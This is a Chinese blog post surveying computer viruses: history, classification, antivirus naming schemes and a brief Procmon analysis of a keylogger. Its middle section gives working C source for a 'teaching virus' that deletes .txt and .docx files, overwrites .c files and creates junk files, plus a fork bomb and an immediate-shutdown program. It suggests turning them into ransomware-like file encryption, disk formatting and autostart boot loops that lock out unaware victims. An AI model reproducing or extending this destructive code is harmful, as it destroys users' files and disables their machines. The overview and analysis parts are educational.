计算机病毒的一些印象

目录

参考文档

发展阶段

按照病毒的破坏性分类

按照传染方式分类

需要注意的一些地方

一些病毒的源码

1. 教学病毒

2. 一些小病毒

病毒命名

卡巴斯基(俄罗斯)命名

瑞星(中国)的命名

其他概念

KeyLog 病毒分析

🏹每日分享🏹:


参考文档

病毒初识-认知、工具与简单分析_Fasthand_的博客-CSDN博客

病毒:关于病毒的一些东西(附带一些自己写的病毒程序)_薯片薯条的博客-CSDN博客

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭..._CSDN资讯的博客-CSDN博客

发展阶段

DOS 引导阶段(“小球”、2708 病毒和“石头” 病毒)

DOS 可执行阶段 (“耶鲁撒冷”、“星期天” 等病毒)

伴随型阶段(“金蝉” 病毒)

变形阶段( “幽灵病毒”“一半”)

变种阶段(“病毒制造机” VCL)

蠕虫阶段(“蠕虫”)

20fedaecbfc85edf029eba1b918b9373.png

PE 文件病毒(CIH)

宏病毒阶段

互联网病毒阶段(“尼姆达”、“欢乐时光” 、“欢乐谷”、「“冲击波”」

按照病毒的破坏性分类

良性病毒:仅仅显示信息、奏乐、发出声响,自我复制的。除了传染时减少磁盘的可用空间外,对系统没有其它影响。

5f9453343d3e2685a4d3e7df512158f5.gif

恶性病毒:封锁、干扰、中断输入输出、使用户无法打印等正常工作,甚至电脑中止运行。这类病毒在计算机系统操作中造成严重的错误。

极恶性病毒:死机、系统崩溃、删除普通程序或系统文件,破坏系统配置导致系统死机、崩溃、无法重启。 这些病毒对系统造成的危害,并不是本身的算法中存在危险的调用,而是当它们传染时会引起无法预料的和灾难性的破坏。

63edf7801ba0aded8db1683b8c5e83d6.gif

灾难性病毒:破坏分区表信息、主引导信息、FAT,删除数据文件,甚至「格式化硬盘」等。

按照传染方式分类

文件型病毒:一般只传染磁盘上的可执行文件(COM,EXE)。在用户调用染毒的可执行文件时,病毒首先被运行,然后病毒驻留内存伺机传染其他文件或直接传染其他文件。其特点是附着于正常程序文件,成为程序文件的一个外壳或部件。这是较为常见的传染方式。

混合型病毒:兼有以上两种病毒的特点,既染引导区又染文件,因此扩大了这种病毒的传染途径。

需要注意的一些地方

木马, 病毒, 漏洞是不同的「三种东西」

木马主要是黑客用作给电脑留后门。

其次是病毒. 指对电脑造成破坏的程序。

最后一个就是漏洞,是指计算机系统安全方面的缺陷。

ed3f10387ce8cb9b7f7c2d71b91140d0.gif

一些病毒的源码

1. 教学病毒

首先先说一下这个病毒的基本作用.

  1. 感染文件
  2. 病毒会将某个目录下的文件进行感染, 下面两张图是感染前后的对比.

531a6215eccf40bcb6954bd903096bb2.png

31bdac7118f121e7db54a6a45d9ef1c3.png

😱可以看到, 文件内容发生了变化.😱


2. 制造垃圾文件


程序运行以后, 会在某个目录下生成一些系统的临时文件。

a467ad48e2b8dd314fd193629782f788.png

78cef56632f437cb23cd17a3d34c777c.png


3. 删除文件


顾名思义, 删除某个目录下特定的文件, 比如以. txt 结尾的文件.

运行病毒的程序之前步骤

这个病毒是感染特定目录下的文件, 因此需要提前创建一个目录, 并且在这个目录下创建一些文件.

3a6d9c30cc2716b2f0007d97c1e38522.png

创建一个文件夹 virus. 然后在这个文件夹下创建两个文件, 文件名如图. E_KILL.c 是当病毒感染文件以后的文件内容.


在 E_KILL.c 文件中写入以下代码.


#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("It is virus\n");
    system("pause");
    return 0;
}

另一个 viruse.c 就是我们病毒的源码。


接着就是 temp 文件夹了, 这个文件夹就是要被感染的目标文件夹, 按照如图创建.

16ce115f553d6994a4146cb9d80dab23.png

s.txt 和 a.docx 是两个空的文件, 另外两个文件写入以下内容:

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    system("pause");
    return 0;
}

病毒源码

#include<stdio.h>
#include<io.h>
#include<Windows.h>
#include<stdlib.h>
#include<string.h>
#include <direct.h>

#define INFECT_PATH "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp"
#define DELETE_FILE1 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.txt"
#define DELETE_FILE2 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.docx"
#define CREAT_EXE1 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\worm.exe"
#define CREAT_EXE2 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\virus.exe"
#define Targetfile "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.c"
#define Virusfile "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\E_KILL.c"
//使用了很多宏定义.这些都是后面会用得到的,需要改成你自己的文件路径,记得用两个斜杠做分隔符.
void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
//函数声明

void MakeRubbish(void)
{
    int i=0;
    FILE *fp=NULL;
    char* path=NULL;
    char* NewName=NULL;
    char tempname[]="XXXXXX";
//这个是生成临时文件的文件名,几个×就代表几个随机字符.
    path=INFECT_PATH;   

    if(!_chdir(path))
    {
        printf("open DIR success\n");
    }
    else
    {
        printf("open DIR failed\n");
        perror("Error: ");
    }
//_chdir函数用于改变当前工作目录,将当前工作目录改成了宏定义的目录
    NewName=_mktemp(tempname);
    fp=fopen(NewName,"w");
    fclose(fp);
//创建临时文件
}

void CreatEXE(void)
{
    int i;
    char* s[2]={CREAT_EXE1,CREAT_EXE2};
    for(i=0;i<2;i++)
    {
        open(s[i],0x0100,0x0080);
        //创建垃圾程序,open第二个参数是创建并且打开文件,第三个参数是写入的意思
        copyfile(Virusfile,s[i]);
        //将开始那个E_KILL文件内容复制到新创建的exe文件当中.
    }
}

void Remove(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2}; 
    for (i = 0; i < 2; i++)
    {
        done = _findfirst(documenttype[i],&ffblk);
        if(done!=-1)
        {
            printf("delete %s\n",ffblk.name);
            remove(ffblk.name);                             
            while (!_findnext(done,&ffblk))
            {
                printf("delete %s\n",ffblk.name);
                remove(ffblk.name);                         
            }
        }
        _findclose(done);
    }
    //这个原理比较简单,就是进行了一个查找,然后删除.就不赘述了.
}


void copyfile(char* infile,char* outfile)
{
    FILE *in,*out;
    in=fopen(infile,"r");
    out=fopen(outfile,"w");
    while(!feof(in))
    {
        fputc(fgetc(in),out);
    }
    fclose(in);
    fclose(out);
}
//感染文件子函数
void InfectFile(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype = Targetfile;

    done = _findfirst(documenttype,&ffblk);
    copyfile(Virusfile,ffblk.name);
    while (!_findnext(done,&ffblk))
    {
        copyfile(Virusfile,ffblk.name); //感染
    }
    _findclose(done);
}
//对文件进行感染,原理其实就是将病毒文件进行复制即可.

/*This is a flag:end*/
int main(void)
{
    MakeRubbish( );
    CreatEXE( );
    Remove( );
    InfectFile( );
    system("pause");
    return 0;
}
//主程序

运行的时候用管理员身份打开。

很多病毒的雏形。大概就是这样


比如可以对这个源码进行修改, 将一个「死循环」加到创建垃圾文件, 那么效果就是一直创建垃圾文件, 直到电脑内存被「全部占满」


在比如, 可以将单纯的复制文件改为对文件进行 rsa 加密, 😽这样会比摧毁文件更让人头疼.🐱

运行结果

017c167bd5b004a1f7423597d798a6fa.png

可以看到, 文件夹中被创建了一个叫做 a14192 的临时文件, 这个就是我们的功能之一.
接着打开 e.c, 可以看到文件已经变成了如图所示的内容.

26fd4a66f15f839bc9e0e20281c2ddd3.png

由此可见, 我们的文件已经被成功感染.

当然, 这个病毒是非常简单的一种, 你可以对功能进行一些扩充, 比如写入注册表设置自启动, 比如格式化某个硬盘… 等等等等, 这个就看你了.

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA55WZ5LuA5LmI57uq,size_15,color_FFFFFF,t_70,g_se,x_16

2. 一些小病毒

死机病毒

运行结果如图:

92c73b1842c6fc97dd00d5a530b7ddea.png

此刻我的虚拟机死机, 「只能重启」

01a67904f280e0afd0b4b90dd007c5d0.png

这个病毒的原理就是一直在打开 cmd 界面, 最后系统资源耗尽, 然后死机. 这次我打开性能监视器, 如图.

d20a413800cdb2abc21328b40f817ab1.png

短短几秒钟, 进程就达到了 500 多个. 如果在加上上面的那个开机自启动脚本, 想想看, 后果是不是很可怕?
直接上源码.

#include <stdio.h>
int main(){
    while(1)
    system("start cmd");
    //我写了一个死循环,然后执行cmd命令.这个命令就是打开cmd窗口,为什么要加start呢?这个可以百度一下为什么.
    return 0;
}

代码很简单, 但是效果还是很猛的. 这个的原理和 %0 病毒是相似的.

重启病毒

重启是真的重启, 运行以后会让电脑直接关机. 如果配合上自启动脚本, 效果就是开机就关机, 开机就关机, 开机就…

威力还是比较可观的. 截图我就不上了, 直接放代码.

#include <stdio.h>
int main(){
    system("shutdown -s -t 0");
    //调用cmd命令,-s是关机的意思,-t 0 是设置0秒以后关机的意思
    return 0;
}

首先, 运行病毒 1 里面的自启动脚本 (记得改文件名), 然后关机, 在开机, 病毒就开始执行了.

最后这个病毒是威力最大的一个, 因为你连机都开不了, 谈何删除病毒?

当然, 你可以进入安全模式进行删除, 而那些不懂这些的人可就遭了殃了.

上面三个其实可以直接在病毒程序中添加自启动命令的, 但是我的编译器一编译就会自动执行程序, 因此我写成了两个, 不然自己的病毒把自己感染了就出大事了.

病毒命名

卡巴斯基(俄罗斯)命名

一般情况下,卡巴斯基中的病毒名分为四个部分。

第一部分表示计算机病毒的主类型名和子类型名

第二部分表示计算机病毒运行的平台

第三部分表示计算机病毒所属的家族名

第四部分是变种名。

示例:

1.Trojan-Downloader.Win32.Agent.blm

Trojan-Downloader 字段表示病毒所属类型以及子类型,这个命名指的是此病毒属于木马类,而 Downloader 的意思是木马中的下载者病毒。

Win32 指的是此病毒的运行平台是 32 位的 Windows 系统

Agent 是指病毒的家族名,家族是指同一个组织,或同一个人缩写的功能相近、编译语言相同的一类病毒

blm 指该家族名下的变种名。因为同一个家族下会有很多功能相近但不完全相同的病毒,就用变种名区分。

2.Backdoor.Win32.Hupigon.zqf

这个命名是指该病毒属于后门(Blacdoor)类,运行于 32 位的 Windows 平台下,是灰鸽子家族(Hupigon)家族,变种名位 zqf

3.Worm.Win32.Delf.bd

该病毒属于蠕虫病毒,运行于 32 位 windows 平台下,属于 Delf 家族(Delf 家族通常指由 Delphi 语言编写的病毒,变种名为 bd)

4.Worm.Win32.Delf.be

说明与上面各方面相似,但是不是同一个病毒

瑞星(中国)的命名

一般情况下瑞星病毒的命名分为五个部分,第一部分是病毒的主类名,第二部分是子类型名,第三部分是病毒运行的平台,第四部分是病毒所属的家族名,第五部分是变种名。

1.Trojan.PSW.Win32.OnlineGames.GEN

和卡巴斯基命名相似,此病毒名表示该病毒属于木马类,并且是木马中的盗密码类,运行于 32 位的 win 平台,家族名是 OnLineGames(表示盗窃网络银行、在线游戏密码的病毒),变种名为 GEN。

2.Worm.Win32.VB.zbn

此命名表示该病毒属于蠕虫类,运行于 32 位的 Windows 平台,家族名是 VB(VB 编写),变种名是 zbn

其他概念

浏览器劫持:是一种不同于普通病毒木马感染途径的网络攻击手段,它是利用各种技术(如 DLL 插件等)对用户的浏览器进行篡改,改装后,它们会成为浏览器的一部分,可以直接控制浏览器进行指定的操作。

GUID:Globally Unique Identifier, 全局惟一标志符,在 Windows 系统中也被称为 Class ID 缩写为 CLSID。对于不同的应用程序、文件类型、OLE 对象、特殊文件以及各种系统组件,Windows 都会分配惟一表示它的 ID。

CLSID 是一个 128 位的随机数,其算法主要从两方面入手保证随机性和不重复。1. 一部分数字来自系统网卡的序列号,由于每个网卡的 MAC 地址都不一样所以产生的 ID 也会有差异。2. 另外一部分的数字来自于系统的当前时间。

KeyLog 病毒分析

我们使用 Procmon(processMonitor)进行分析。首先我们设置过滤器,其中对监控进程、注册表、操作等进行监控编辑。其操作如下:

e096c602259d3457916268e49f18b629.png

对高亮进行编辑操作。

12d4fd47a5b57c5553bbfe60d3d8667d.png

开始监控以后我们得到了很多的进程、操作信息。

ed078064fd3c4a40d9f27fa12138fe4c.png

进行一段分析后我们能看到 KeyLog 的操作状态,它会创建一个进程并且启动该进程,在我们进行点击或者键盘事件达到一定次数就会启动 WriteFile 操作,将信息写入 log.txt。而且,KeyLog 一直不会退出。

a4b2c5f126f1f3aba646d754bbfb0985.png

进行一段分析后我们能看到 KeyLog 的操作状态,它会创建一个进程并且启动该进程,在我们进行点击或者键盘事件达到一定次数就会启动 WriteFile 操作,将信息写入 log.txt。而且,KeyLog 一直不会退出。

f0435a4720b44a4cab9279b799dd6214.gif


🏹每日分享🏹:

在这里,最根本的原因无疑在于人最原初的、因而也是不可改变的机体组织的构成;也就是说,大致上在于一个人的感觉能力与肌肉活动、兴奋能力及机体新陈代谢能力之间构成的正常程度不一的比例。超常的感觉能力会引致情绪失衡、周期性的超乎寻常的愉快或者挥之不去的忧郁。天才的条件就是具备超越常人的神经力量——亦即超常的感觉能力。所以,亚里士多德相当正确地认为:所有杰出、优越的人都是忧郁的:“所有那些无论是哲学、政治学、诗歌或其他艺术方面表现出色的人,看上去都是忧郁的”。西塞罗在讲述下面这句经常被人们引用的话时,他所指的肯定也是上述那段话:“亚里士多德说,所有的天才人物都是忧郁的。”

一《人生的智慧 第二章 基本的划分》

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

风过留不留声

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值